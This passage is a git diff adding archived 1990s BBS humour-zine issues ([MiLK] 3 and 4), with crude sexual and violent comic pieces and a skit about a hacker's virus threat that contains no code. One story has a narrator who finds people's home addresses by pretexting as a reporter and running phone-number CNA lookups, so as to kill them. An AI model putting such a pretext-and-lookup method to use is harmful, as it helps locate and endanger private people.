ocean. + + As it hit the water it made a loud "KHUSHHHHHHHHHHH!" sound. + +- Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä Ä Ä + +Immediate Future +Founded for All +Attacking Aggression +Means Aggression Against All +Military Intelligence +Shows No Wisdom At All +Civil Disobediance +Is Laughed At And Will Fall + +Support Your Country +For Support You Will Need To Have +Resistance Is Futile +Offenders Will Be Punished +Offenders Will Not Exist. +You Will Be Loyal; +Loyalty Is Greatly Rewarded. +Honor Is Only Obtained Through Loyalty. + +- Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä Ä Ä + + +Û Û [MiLK] Information +Û Û +Û Û [MiLK] Sites: +Û Û +Û Û Barney's Pleasure Palace...(708)965-3098 [14,400] +Û²²²²²²²²²²²Û The Acropolis..............(708)557-2826 [14,400] +Û²²²²²²²²²²²Û The Lunatic Phringe........(708)232-0565 [12 Nodes] +Û²²²²²²²²²²²Û +Û²²²²²²²²²²²Û +Û²²²²²²²²²²²Û BIG Issue #2 +ÛÛÛÛÛÛÛÛÛÛÛÛÛ This file is Exactly 34797 bytes long + diff --git a/textfiles.com/magazines/MILK/milkbig3.txt b/textfiles.com/magazines/MILK/milkbig3.txt new file mode 100644 index 00000000..eb84ee8c --- /dev/null +++ b/textfiles.com/magazines/MILK/milkbig3.txt @@ -0,0 +1,505 @@ + °°°± °°°± °± + °°°°°°°°°°°°°°°°°°± °°± °± °°± + °°°°°°°°°°°°°°°°°°°°°°± °°± °°°± °°°± + °°°°°°°°± °°°°± °°°°°°°°± °± °°± °°°± °°°± + °°°°°°°°± °°°°± °°°°°°°°± °°°± °°± °°°± °°°± + °°°°°°°°± °°°°°°± °°°°°°°°± °± °°± °°°°°°°°± [MiLK] + °°°°°°°°± °°°°°°± °°°°°°°°± °°± °°°°°°± BIG Issue 3 + °°°°°°°°± °°°°°°± °°°°°°°°± °°± °°°°°± +°°°°°°°°± °°°°°°°°± °°°°°°°°± °± °± °°°°°°± +°°°°°°°°± °°°°°°± °°°°°°°°± °°°± °°°°°°°± °°°°°°°°± + °°°°°°± °°°°°°± °°°± °°°°°°°± °°°± °°°± + °°± °°± °°°± °°°± °°°± + °°°± °°°± °°°± + °± °± °°± + + +- Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä Ä Ä + + CoN TeNTz: + +Viral Impact (Act I) ......................................Nyarlathotep +Little Lessons.............................................James Hetfield +MiLK's Guide to Pissing in the Wilderness..................Winter Solstice +Fortunes...................................................James Hetfield +Golden Screw...............................................Nyarlathotep +B T T S....................................................whoops + +- Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä Ä Ä + +Viral Impact + +ACT I + +Scene i + +Setting: [MiLK] World Headqaurters, The Obloid Sphere BBS. Small + room lit by candles. Seated at a table is James Hetfield + and Nyarlathotep. James is looking over a piece of mail. + +James: I found this in my mail-box Nyar, and Im not so sure what + it means, but the future of [MiLK], and the Obloid Sphere might + be at stake here. + +Nyarlathotep: The Sphere just came back up an its in trouble already? + Argh! I thought I was gonna be able to rest for a while. + +James: Here. Lemme read this to you. + + From: MaSTeR HaCK MaSTeR (redundant eh?) + To: James Hetfeild + + Jamesy, my dear friend. As you are reading this note, a + virus is entering your system. From there it will spread + onto the computers of all your users, and from there it + will balloon outwards, to take over the world. There is + nothing you or anyone else can do to stop it, + I'm afraid. Well, thats not quite right. You can put end to + the destruction, James. Hand over control of the Obloid + Sphere, and [MiLK] and I will release the antidote. You + have 48 hours to reply, or else the virus will become + active. + + MaSTeR HaCK MaSTeR + +Nyar: Maybe he's just bluffing? + +James: Could be, but I don't think so. I think I've heard of this guy + before. He's big, he's been taking over systems across the + country, turning them into WaReZ fortresses, and using their + publications for his own 3L1T3 purposes. + +Nyar: Well.. I don't think we can take that, do you? I think we should + general [MiLK] meeting, see if we can solve this problem the old + fashioned way. + +James: Which way is that? + +Nyar: I dunno, but it certainly won't be giving into some twit with a + cheesy handle like that. + +James: Yeah, You're right. Time to light up the milk signal. And also + time for Grandma! + + + +Scene ii + +Setting: [MiLK] General Meeting room. James in Grandma guise is sitting + at the head of the table. Nyar is at his left. Yohan Bawk is + also in the room. He is reading a book on chaos theory. + +Grandma: Well boys, if the rest of them aren't here in 10 minutes, we're + gonna have to start without them. And Yohan! Why do you always + gotta bring those books to these meetings? + +Yohan Bawk: Well... ya see... I think that chaos theory might be the + be the answer to our problems! + +Nyar: Heh... you always think that. Sometimes brains triumph, but sometimes, you gotta + know when you gotta get rough. + +Grandma: Nyar.. this isn't lampreys we're dealing with. + +Nyar: You never know. He might be allied with the foul beasts. For all + we know he could be one. In that case... NO MERCY! + +G: Calm down... Lets see who it is. + + + +Epic and Naturboy: Werd!!!!!! + +G: Lo guys. We have serious buisness on our hands. We have no time for + that! + +Epic: Can't tang help us? + +G: Don't think so. + +E: Paperclips??? + +G: Perhaps. + +Natureboy: I think I saw Whoops coming. And IceMECH told me to tell you + that he can't make it.. IceQueen ya know. + +Nyar: Oh well.. well have to work this out without him. + + + +Whoops: Wheww... go here as fast as I could. I had to run away from + Sport Marty. + +Nyar, Grandma, Epic and Natureboy: Hello Whoops. + +Whoops: So whats the deal? + +Nyar: We have an emergency situation here. Read this. + +W: Oh boy. Piddles, this is not spiffydoodlefigish... what are we gonna + do? + +G: Not cave in to his demands if at all possible. + + + +BJ: I can't stay guys! I'm sorry, but they're after me!! I can't lead + them here!! + +Nyar: Who! + +BJ: Them + +Grandma: What the fuck was that about? Oh well.. we're mostly here, so + well have to deal with this as best as possible. Maybe Psychotic + Am bition will show up in a little while. I think I have + an Idea or two... but first lemme here what suggestions + you + have. + +Y: Well, according to chaos theory... + +Nyar: Ugh! + +G: Let him talk. + +Y: Well... something is bound to go wrong for him somewhere.. hopefully + we can figure it out, and nothing will go wrong for us. + +Nyar: Great... + +G: Well thats a start I think we need to start with some + reconasance, someone has to find out some more about this guy. + +Nyar: I'll go. + +W: I'll go too. + +E: I'll make some Tang!!!! + +G: Ok.. Nyar, Whoops, go see what you can find out. Epic.. make some + tang. Yohan, you and I are going to see some people to find out what + we can about the virus. Natureboy... you go get these supplies + + + + +Psycho: Im sorry I couldnt make it sooner, but I fell down the stairs. + + + +G: Uhm... Whatever. Psychotic, you go with Naturboy. Everyone else, + we'll carry on as before. Now lets get to it. We'll meet back + here in 5 hours. + + + +- Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä Ä Ä + +-Lessons- + + Whenever I'm thinking about death and what lays +beyond, I always remember and refer back to a little tale that +my grandfather told me while on his death bed... + + "Hey, there, sonny... Let me tell you a little tale, +and I want you to pass this on to your grandchildren when +you're dying... you are going to have grandchildren, aren't +you? Good boy! Well when a man is about to die a lot of +things go through his head, and I remember this tale that my +grandfather told me before he died, and his grandfather told +him before he died, and it's been passed on for generations +and generations. Ahh, my grandfather. He was a great man. A +Great man! He never let anyone give him lip. No sir, a fine +man he was. Well, I'm getting off the subject! Ahh, the tale +he told me... it was a great tale. One of the best tales I +think I ever did hear... My grandfather, he sure knew how to +tell the tale too. He was a natural at it. Like it was +something he had recited and prepared over and over again to +have perfection when he told it... it was simply amazing. I +doubt I'll ever hear a story like that..." + + "Gramps? So tell me this story..." + + "Ah, yes, the story... it was a wonderful story, I +have to admit... I don't know if I could give it the credit it +is due... my grandfater, bless his soul, told me this story on +his deathbed... I already told you this... and here I am, +passing on this story to you... my grandson... ah, I remember +when you were this big! how you've grown, you're a young man +now! I remember seeing you right after you were born... you +were so cute! your mother was so proud... and I was so proud +of my son... ugh! I'm getting off track, aren't I? I'm +sorry... I sometimes to that... ok... what I'm about to tell +you is the most important information you'll ever hear..." + + And Then he died. + + I learned a lot from my grandfather. One of the +things I learned is don't listen to old farts right about to +die, cuz they're full of shit. + +- Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä Ä Ä + + MiLK's Guide to pissing in the wilderness + by + Winter Solstice + + + Have you ever been out in the middle of nowhere and had to piss +really bad? Well if you are a guy you are in luck because I will be going +over some of the ways you can wizz in the wilderness. Enough babbling +here we go. + + 1. One major rule you must follw is stay away from the wild animals +mainly wolverines or racoons because they will not be to happy if you are +draining the lizard in their nest and probably take phsyical action against +your penis. + + + 2. Find a nice big tree or a bush out of the wind so that you +won't be splashed. No one likes piss all over their pants and shirt, so +watch the wind. + + 3. Do not pull your pants all the way down because if some old +farm geezer sees you he might + (a) Get out the Shotgun and begin firing at you + (á) Actually use his/her phone and call Barney Fife +Also you might look a tasty snack for a black bear or grizzly bear + + + 4. Do not piss on any (what look to be) abandon farm houses, because +they are not always that way. I learned the hard way. It seems I aroused +a homosexual bull and I was walking bow legged for 6 months straight. + + + 5. Finally, remember to shake it good to get all the excess dripage +off. This is so you aren't walking away and you get a wet feeling in your +undies, that is if you are wearing any underpants. But remember, more than +six shakes and you are wanking it. + +- Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä Ä Ä + +-Fortunes- + + I've always wondered about the meaning of life, and +then one day, right out of the blue, I found out. I was at +this neat chinese restaraunt right by my house, and I opened +my fortune cookie to reveal... + + "Your life will be filled with happyness and warmth" + + Great. That is the moment I figured out my true +calling in life. I was going to hunt down and KILL every +single one of the people who write the fortunes that go into +fortune cookies.. yes, it may sound impossible, but when you +think about how much a person could really get accomplished in +a lifetime, it's not that impossible a task. Well, tomorrow I +set out to take my goal across the globe in order to end the +petty lives of these Opimistic bullshit fortunes. Then, when +I'm all done slaughtering them all, I may even stop for a +while and write some of my own... + + Now, you may think it'd be hard to get in touch with +these authors, they don't exactly write their names on their +fortunes, but I found a way... I asked the manager of the +chinese resteraunt where they bought their fortune cookies +from... then I traced the company that makes them, and found +out who is their employee that makes them... I told them I was +a reporter wanted to interview him.. how foolish they are.. so +that way I got the phone #'s of all the authors from that +company... I simply CNA'd their numbers, and wha-lah! I had +their addresses... + + Tomorrow, their pathetic lives will have ceased +because of my hands. I truly will make a difference. +Nevermore will you ever read an annoying optimistic fortune. +Now you'll get ones like "You probably are alive if you're +reading this" or "You'll probably die from either heart +problems, lung cancer, or a car accident". At least my +fortunes would have not so optimistic messages. + +- Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä Ä Ä + +-Golden Screw- + + This is a tale of the magnitude that you cannot imagine, a scale +that is incomprehensible. Ok, so I lie. Here is the story anyways, the +story of the Golden Screw. + + Once upon a time, not too long ago, there was an average family +that lived in an average house in an average town, in the average state +of Idaho. Well, one day this family had a son. When this son was born, +and came out of the mothers womb, the doctos looked him over, to make +sure that he possed all the little parts that a normal person has. + Yes, he had 5 toes each on two feet, as well as 10 fingers, +equally distributed on two hands. He had two ears, two eyes, a nose and +a mouth. The doctors preced to cut the umbilical cord... and made a +shocking discovery. + Where the end of the umbilical cord was, where the belly button +should be, was what appeared to be a golden screw. This shocked the +doctors and the family quite a bit, and they decided to run some tests +on it. + Well, it turned out that it really was gold, and that there was +no conceivable way to seperate it from the boy. But the boy was +otherewise perfectly fine, so the doctors let him leave the hospital and +go home after a couple of days. + Time passed, a couple of years, and the boy became a toddler. He +still had the golden screw in place of a belly button. It was about the +size of a penny, and a quarter of an inch long, but it seemed to be +growing along with the boy. The boy was too youung to realize that he +was special, but needles to say the glowing screw on his stomache +provided him many hours of fascination. + More time passed, and the boy started school, and at this point +of the story he is around 10 years old and in 5th grade. The screw has +tbe diameter of a nickel now, and is 3 quarters of an inch long. This +causes it to stick out of the shirt, which causes many of the other kids +in the class to make fun of him. But the boy is strong willed, and he +doesn't pay any attention to their jesting, and he eventually becomes +quite a popular kid. + In high school he plays football, and is the starting +quarterback, and is quite good. He makes all-conference all 4 years, and +his senior year his team wins state. He is known as one of the nicest +and most honorable guys in the school, and everyone wants to be his +friend. + Well, the end of his senior year has arrived, and he goes to +prom (no she doesn't have a golden nut!), and that night, he begins to +think seriously about his future. At this point the screw has the +diamter of a quarter, and is over and inch long. He had planned to go to +college next year, stanford, but he now has doubts as to what he wants to +do. Because he feels that the screw is there for a purpose, and that gosh +darn it, he ought to find out what that purpose is. So instead of going to +college he goes to Galveston, Texas, where he heard that they had some +excellent doctors, and perhaps they could tell him something about the +screw. + He arrives in Texas, and heads straight away to this famous +specialist, hopefull that he could still possibly make it to college the +next semester. But, alas, the specialist can tell him nothing about the +screw. All the tests his runs are in vain, and he tells the boy that he +can do no more. He tells the boy to go to Johns Hopkins University in +Maryland, where he thinks that the boy may find the answer to the +question. The boy thanks the doctor and journeys off to Maryland. + He arrives at JHU and he is pointed in the direction of their +research departmen. There he is looked over by a team of some of the +brightest doctors in the world. They run a myriad of state of the art +tests on him, but the only new thing they can tell the boy is the mass +of the screw. They inform him that a certain doctor in Liverpool England +had lately been making great advances in bizarre birth defects, and they +advised the boy to visit her. He thanks the doctors, and heads over to +the British Isles. + The British doctor is amazed by his screw, and spends several +weeks running tests on it and examing the boy. She informs him that she +had never seen anything like this in her life, and that she is most +excited by the gold screw. However, she cannot deduce anything about the +nature of the screw, for which she is very sorry, but she tells the boy +that his last chance might be to visist the Juhai institue in Ne +w Delhi +India, to see if they can help him. He thanks the doctor, and heads to +India. + Unfortunately, he recieves the same old story at the Juhai +Institute, they can tell him nothing. The boy is now fed up with doctors +and decides to wander the world, visiting mystics and what not, until he +dies, or finds the secret of the golden screw. + A number of years later while wandering in the Himalayas of Tibet +he comes across a lone monk, sitting in the lotus position floating +several inches off the ground. He really doesn't want to disturb the +monk, but he believes with all his heart that the monk can help him, so +he say's hello. + The monk promptly falls to the ground, gets up and rubs his +rear, and greets the boy. He tells the boy that the answer of his +question can be found on a certain mountain peak, about 10 miles from +where they now were. The boy is astounded, because he never explained +his situation to the monk. The monk tells the boy to seek out the peak, +climb up it, and sit, and all will be revealed. + The boy finds the peak and climbs it, which is an ordeal in +itself. When he reaches the pinacle, he discovers a seat carved in the +rock. He sits in it, and it fits him perfectly. He now waits. + Three days later he is still sitting their, starving, thirsty, +and smelling like shit. He decides to give up, not just on the peak, but +on the entire quest to discover the secret of the screw. He gets up off +the seat, and begins to walk down, when he hears a great voice. + "STOP!" + At first the boy thinks that he is delirous, and it is merely in +his mind, but he stops anyway, and waits a few seconds. + "LIE DOWN!" + He still thinks that it is only his imagination, but he decides +to lie down, and see what happes. As he lies down, a gigantic hand +comes dowm from the sky, bearing a golden screwdriver. "At last," thinks +the boy, "an answer!". + "LIFT UP YOUR SHIRT!" + The boy does as he's told, and the hand with the screwdriver +reaches over, and begins to unscrew the screw on his stomache. The screw +slowly begins to come out, and the boy is ecstatic. Then suddenly the +hand stops turning the screw, and vanishes. + The boy puts his hands on the screw, and discovers that it is +loose. A few turns, and it it completely out of him. He looks it over, +and then stands up... + + AND HIS BUTT FALLS OFF!!!! + +- Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä Ä Ä + +-Buffy- + + Tom sat down in the chair and turned on the computer and modem. He logged +on his favorite bulletin board. There were five other people in the +conference: jh, Com, Nyarlathotep, Buffy and Yohan Bawk. He immediately +started hitting his macro keys, most of them dealing with the various users +and gerbils. Occasionally he pressed a key that set off a barrage of twitty +comments about the sysop of the system and eggplants. He then started to hit on Buffy since she seemed to +be the only one online that had ovaries. (The status of some of the others was +doubtful, but he decided to twit with just the one. Mustn't o.d. on +hormones..) + "Hey baby.. howsabout you come on over here?" he typed to Buffy. To his +surprise, she cheerily agreed. He gave her directions while in a shocked +state..Nobody had ever reacted like that to him before. Then his brain caught +up with his hormones. "Probably a geek," he muttered to himself. But he was +too excited to twit now. He logged off and sat behind his desk, putting his +feet up on it. He picked up the smoking remnants of what was once probably a +cigarette but now resembled more closely a little piece of something not +entirely unlike flaming frog ligaments and dangled it from between his lips. +Just as he was about to suck the stream of burning matter into his body, +however, the door to his apartment was thrust open by a lascivious blonde. + "Hello," she purred in greeting as she jumped up on top of his desk and +licked his face. She crouched in that position until Tom's brain cells stopped +careening around inside his head. + "Gak," Tom's vocal cords managed to squeeze out before his hormones +erupted and the majority of his small number of brain cells hit each other, +creating a huge mushroom cloud of typical male-twit stupidity. They started +functioning (somewhat sluggishly) a short time later. + "Um," Tom's voice cracked. + "My name is...Buffy," she purred, running her finger up and down Tom's +pudgy chest. + "Hi, Tom. I mean, I'm Tom. Nice..very nice..whooaaa baby..um, to meat +you." Tom squawked before lapsing into a silence in which nothing moved, save +his eyes (which were following the movements of..bounce..bounce..jiggle... and +the thin sliver of drool that was winding its way down Tom's chin) + "Listen," Buffy said, crossing her legs and making the small fragment of +cloth that was probably supposed to cover something ride higher on her legs. +Tom could do nothing but obey, and did so eagerly. + "I have a job for you," Buffy continued. "Stand," she commanded to the +ape-like being drooling in front of her. Buffy reached across the desk and +grabbed Tom's shirt with one hand. Suddenly her other hand came into view, +a gruesome stake held in its slender fingers. She held Tom down with one hand +while the other flew through the air and planted the stake in Tom's chest. + "Buffy the twit slayer strikes again," she laughed maliciously as she +flounced out of the room. + +- Ä -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä Ä Ä + +Û Û [MiLK] Information +Û Û +Û Û [MiLK] Sites: +Û Û +Û Û Barney's Pleasure Palace...(708)965-3098 [14,400] +Û²²²²²²²²²²²Û CUM........................(708)961-1220 [14,400] +Û²²²²²²²²²²²Û The Lunatic Phringe........(708)232-0565 [12 Nodes] +Û²²²²²²²²²²²Û +Û²²²²²²²²²²²Û +Û²²²²²²²²²²²Û BIG Issue #3 +ÛÛÛÛÛÛÛÛÛÛÛÛÛ This file is Exactly 23479 bytes long + diff --git a/textfiles.com/magazines/MILK/milkbig4.txt b/textfiles.com/magazines/MILK/milkbig4.txt new file mode 100644 index 00000000..d6b66e38 --- /dev/null +++ b/textfiles.com/magazines/MILK/milkbig4.txt @@ -0,0 +1,616 @@ + °°°± °°°± °± + °°°°°°°°°°°°°°°°°°± °°± °± °°± + °°°°°°°°°°°°°°°°°°°°°°± °°± °°°± °°°± + °°°°°°°°± °°°°± °°°°°°°°± °± °°± °°°± °°°± + °°°°°°°°± °°°°± °°°°°°°°± °°°± °°± °°°± °°°± + °°°°°°°°± °°°°°°± °°°°°°°°± °± °°± °°°°°°°°± + °°°°°°°°± °°°°°°± °°°°°°°°± °°± °°°°°°± [MiLK] + °°°°°°°°± °°°°°°± °°°°°°°°± °°± °°°°°± BiG Issue +°°°°°°°°± °°°°°°°°± °°°°°°°°± °± °± °°°°°°± Four +°°°°°°°°± °°°°°°± °°°°°°°°± °°°± °°°°°°°± °°°°°°°°± + °°°°°°± °°°°°°± °°°± °°°°°°°± °°°± °°°± + °°± °°± °°°± °°°± °°°± + °°°± °°°± °°°± + °± °± °°± + +Ä ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Ä +Contents of [MiLK] Issue 4: + +"BlowJobs".................................................Winter Solstice +"The Hand on the Home Shopping Club".......................King Krazy +"The Best of Obloid1sm"................................................... + - "Ingestible Dog".................................Oregano + - "The Prose of The Modern Mariner"................Nyarlathotep + - "The Appendix to the Field Guide of Lampreys"....Nyarlathotep + - "Thoughts About Society, Part I".................Itchi-Koo + - "Behind the Scenes: Nyarlathotep"................Nyarlathotep +"Ballsack.."...............................................King Krazy +"Flight of the Cartlifter".................................James Hetfield + +Ä ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Ä + +BlowJobs by Winter Solstice + + + I am very confused as to the meaning of the word "Blowjob". Even +as a young child the word confused me quite a bit. I ponder for hours and +hours everynight thinking about the word and I still cannot see how the +sucking of the penis can be related to blowing. If you actually blew into +the penis wouldn't some sort of harm be done to the penis since air would +travel into the hole causing extreme pain or even permenent damage to the +urethra leading to trouble urinating. + + So one day I decided to really figure out what the blowjob was. I +traveled to a bad neighborhood about 4-5 miles from my house and wondered a +bit untill I came across a few hookers and decided to ask them. I walk up +to one of the hookers and she has sores all about her mouth and looks as if +she hasn't had a bathing for weeks ( and smells that way as well ), and I ask +her what she considers a Blowjob to be. She only replies with a, " If you +have 20 bucks I'll give ya the best one you've ever had". + I ask louder this time, " WHAT do you consider a Blowjob to be!" + She replies, "Get the fuck away from me, I don't get paid to answer + your questions." + I move on to the next hooker. She is much better looking and much +better smelling, so I smile and act nice to her. I ask her the same question + She smiles and replies, " I can show ya hon for 15 bucks, and I am + a nice clean girl not like little miss herpes over there." + I diddn't want to displease her because of her prettiness and all so +I hand her the money and we go into the alley. She begins her work. "NO!" +I scream, " I WANT A REAL BLOWJOB! I WANT YOU TO BLOW INTO IT UNTILL MY +BLADDER EXPLODES AND I DIE!!". Suddenly I hear a voice of an angry man +saying, " Is that guy wasting your time??!!??!". She answers," yea get this +nut away from me Jocko!". I feel a fist smashing into the back of my head +and I fall to the ground, pants still around my ankles. I look up and I +see a big massive hulk of a man with a big panama hat and a four-fingered +ring that reads,"Jocko" on it. I pull my pants up mumbling,"oh shit". He +grasps me by the shirt and picks me up off the ground smiling and he punches +me in the face so hard I think my teeth are breaking through the back off +my head. Jocko smashes me against the wall a couple of times and and me back +to the ground. Through blurred vision I see him and the hooker walking away +laughing counting my money. I regain myself and travel back home to wash +out my wounds. + + I reach home feeling half dead and still confused. I take a shower +and lay in bed unable to clear my mind. That whole ordeal was just a waste +of time. But wait, there was one more hooker there. THERE IS STILL A CHANCE +! Hopefully by next weekend Jocko will be cooled off and I can go visit his +other girl and ask her, SHE MAY BE THE ONE WHO KNOWS THE REAL MEANING! I +finally fall asleep knowing there is a chance in hell that I can figure out +what a blowjob is. + +Ä ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Ä + + > The Hand On The Home Shopping Club + _ | + | | | + | | _ Who the fuck owns that hand......... + | || | Who the fuck cares about that hand.. |_) (_| + | || | Who cares about that fucking hand... _. | ._ + I fucking care about that damn hand. \_/ + + This text file contains all the info you ever wanted to know +about the person who owns that damn hand that models rings and other +accessories. This text file does a deep study into the sub-mind. I +care about that hand and that is why I bring you this great file about +it. + At 3:00 in the morin' I was sitting watching the Home Shopping +Club and I say to myself this would make a good text file. + +----------------------------------------------------------------------------- + + That lamer that shows off thier hand must be retarted or they are +the smartest people to walk the planet. I look at it boths ways. See either +that person has to be the most retarded person and mot ugly or they are +some stupid jackass getting paid $18.89 an hour and is sitting back thinking + but we +don't. We fucking hate that hand and all its properties. So those people +should buy half a monkey brain and get off thier high horse and start to see +the world in its entirity. + + Do you know what those people think while they have thier hand +advertised over the fucking televison. They are saying to themselves + + I think they should show more of the person than just thier hand. +so what I did for all you readers is I went to the Home Shopping Club and +am going to tell you the most grusome thing anyone could learn. What those +assholes look like. + + I walk in and the first person I see is that fucking dumb asshole +security gaurd telling me that Fine I will fing ANTOHER way to get in. I go back 2 days later after +ripping off a liquor store I pay the gaurd off. He lets me in. What I saw was +the most hidious thing anyone could ever see. That damn lamer polishing her +finger nails getting ready for a ring that she is going to show offin a few +minutes. I walk up to the person gracfully but casually and say, "who the Fuck +do you think YOU are?" I could tell she was greatly offended by my remark. +She slaps me and says, "Who the fuck are you?" I say, "I am man on a quest +for the most shitty woman and I think I have found her." I am escorted out +and told never to return for I may be prosocuted by a grand jury for +trespassing. + + Anyway I have just told you about what those people over their are +doing to small children, wait no, I am just telling you what they do to +people who are just trying to get a story. + + Well the moral of the story is. Don't stay up late at night and +watch Home Shopping Club or it will fry your brain. + + please forgive me for my fucking vulgarity, + King Krazy + +Hope you like my testicles. + +Ä ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Ä + +Obloid1sm Files + + The Text file group I used to run before this one (I don't know WHY +I am admitting this...) was called Obloid1sm. Of the little amount of crap +that was put out during this time, there were a few (a very FEW) good tfiles +that are worth showing again, considering I don't want ANYONE to ever view +a Obloid1sm file ever again... notice how none of these are mine? Kinda +tells you who made that Tfile group crap... yes, me. :) + + Here are 5 of the Best files from Obloid1sm. I included these +because these are the ones that the most people probably would want to read. + +OoOoOo. . . +o +. Ingestible Dog {by Oregano} + + + First of all relax. There is nothing to fear, the +Ingestible dog is 100% safe and comes strongly recommended by the +American Medical Association. Please read through the entire +instructions before using this product. + + Before you sits the Ingestible Dog, safely sealed in his 3 +inch high plastic container. Take the cover off the package +carefully, you don't want your ingestible dog to run off. Might +we suggest putting the container in a large empty pot before +opening to give the dog room to run before ingestion. + + Once you're ready, pick up the dog by the back side, just +above the back legs, you should be able to do this with one hand, +and steady the dog with your other hand. Gently ease the dog +into your mouth, be sure the dog goes head first else he might +strut right back out. Tilt your head back, let go and the dog +will run inside and down your throat. + + You may feel a gagging reflex, if this happens, simply +relax and it will soon pass as the Ingestible Dog runs gleefully +down your esophagus and towards your stomach. + + That's all you have to do, and the dog takes over from there. +Once in your stomach the Ingestible Dog will lick away at any +troublesome spots, curing those ulcers before they have a chance +to form. From there the dog will enter your colon and intestines +pushing out any matter that has lodged itself in there, plus the +Ingestible Dog will lick the walls of your colon and intestines +leaving them as clean as the day you were born. + + Finally the dog will emerge from your rectum during a normal +stool. All you have to do is fish the swimming dog out of your +toilet, wash him off, and then put him back in his container +ready to use again. + +OoOoOo. . . +o The Prose of the Modern Mariner +. {By Nyarlathotep} + + The sun rises over the horizon, a golden disk in the lightening sky. +The fisherman is prepared for his greatest catch of all time. Everything is +perfect- the weather, the time of day, the month, and even the position of +the stars. It all boils down to this- today the one that got away, won't +escape. Either that or the the fisherman will hang up his rod and reel and +put away his tacklebox forever. + + He takes special care to stop the boat's engine three miles away from his +chosen sight. He stops rowing one mile away, and relies on the current, +which he had precisely calculated, to move him that last mile. Half an hour +later he reaches his chosen spot. He has spent months studying the +topography of the lake in order to chose this spot. It is by far the best +spot for fishing in the lake. + + After he arrives he sits back and relaxes. He has fifteen minutes; it is +not yet time to cast. + + While waiting he double checks his gear. The rod is of graphite, +incredibly strong, but also light. His reel is the best on the market, +guaranteed to neither jam nor break for 30 years. His line is the strongest +of its diameter available. It is colored to seem invisible to the fish, a +bluish green. And his lure. His lure is his own design. He delved into +many books from many ages in order to come upon this perfect design. This +lure is so tempting that a fish cannot pass it up, and once but, the +placement of the hooks ensures a snag. The size of the lure ensures a giant +catch. No normal fish would even dream of biting this lure, although it +would wish it could. A fish will bite, and it will be a great one. + + The time has come to cast. The fisherman, in his study of the lake, had +come across a small fault line. He knows that it will slightly shift in 15 +seconds, and will mask the sound of the line moving through the water. He +casts. Now he must wait. + + While he waits he contemplates his preparation for this event. For 30 +years he hasn't fished, for he was not ready to. He spent that time +preparing. His colleagues at work, who never see him elsewhere, know there +is some great force driving his life, but they have never figured out its +nature. The fisherman spends all his free time advancing his cause. His +paycheck goes to researchin new equipment, and travels to exotic places to +witness master fishermen performing their art. He hopes he has prepared +enough, for there is no turning back now. + + He sees his bobber move. It has bitten, and hence been snagged! He +works the reel smoothly and carefully, as he has nothing but time. The fish +fights, but he has prepared for that. At night, before sleeping, he would +exercise vigorously, in preparation for the encounter. He 